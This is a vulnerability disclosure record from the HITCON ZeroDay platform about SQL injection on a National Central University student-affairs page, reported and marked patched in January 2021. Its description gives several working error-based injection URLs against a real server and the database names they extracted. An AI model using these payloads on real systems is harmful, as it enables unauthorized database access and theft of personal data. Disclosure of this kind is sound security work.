中央大學學務處網站存在SQLi - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00028
  •  發信 Vendor: 國立中央大學
  • Title: 中央大學學務處網站存在SQLi
  • Introduction: sqli

處理狀態

目前狀態

公開
Last Update : 2021/01/18
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2021/01/12 21:51:27 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2021/01/13 00:11:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/01/13 14:41:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/01/13 14:41:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/01/13 14:41:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/01/14 17:19:07 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/01/14 21:31:25 : 確認已修補 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2021/01/18 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://140.115.185.138/weeklylearning/Learning/action_delete.php?speech_no=888

敘述

順手一戳就掛...
完全無任何阻擋...
且error msg非常好心,暢行無阻

這裡示範用error based撈db name,剩下的東西同理

http://140.115.185.138/weeklylearning/Learning/action_delete.php?speech_no=%27%20and%20extractvalue(1,concat(0x7e,substr(({sql query here}),1,30),0x7e))%20and%20%27

http://140.115.185.138/weeklylearning/Learning/action_delete.php?speech_no=%27%20and%20extractvalue(1,concat(0x7e,substr((select%20group_concat(schema_name)%20from%20information_schema.schemata),1,30),0x7e))%20and%20%27

http://140.115.185.138/weeklylearning/Learning/action_delete.php?speech_no=%27%20and%20extractvalue(1,concat(0x7e,substr((select%20group_concat(schema_name)%20from%20information_schema.schemata),31,30),0x7e))%20and%20%27

http://140.115.185.138/weeklylearning/Learning/action_delete.php?speech_no=%27%20and%20extractvalue(1,concat(0x7e,substr((select%20group_concat(schema_name)%20from%20information_schema.schemata),61,30),0x7e))%20and%20%27

http://140.115.185.138/weeklylearning/Learning/action_delete.php?speech_no=%27%20and%20extractvalue(1,concat(0x7e,substr((select%20group_concat(schema_name)%20from%20information_schema.schemata),91,30),0x7e))%20and%20%27

http://140.115.185.138/weeklylearning/Learning/action_delete.php?speech_no=%27%20and%20extractvalue(1,concat(0x7e,substr((select%20group_concat(schema_name)%20from%20information_schema.schemata),121,30),0x7e))%20and%20%27

db name:

information_schema
dormteachergender
ment
mentor
mysql
ncufresh15
ncufresh16
performance_schema
phpmyadmin
test
weeklearning

因是學務處網站,為避免個資外洩
請儘速修補

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;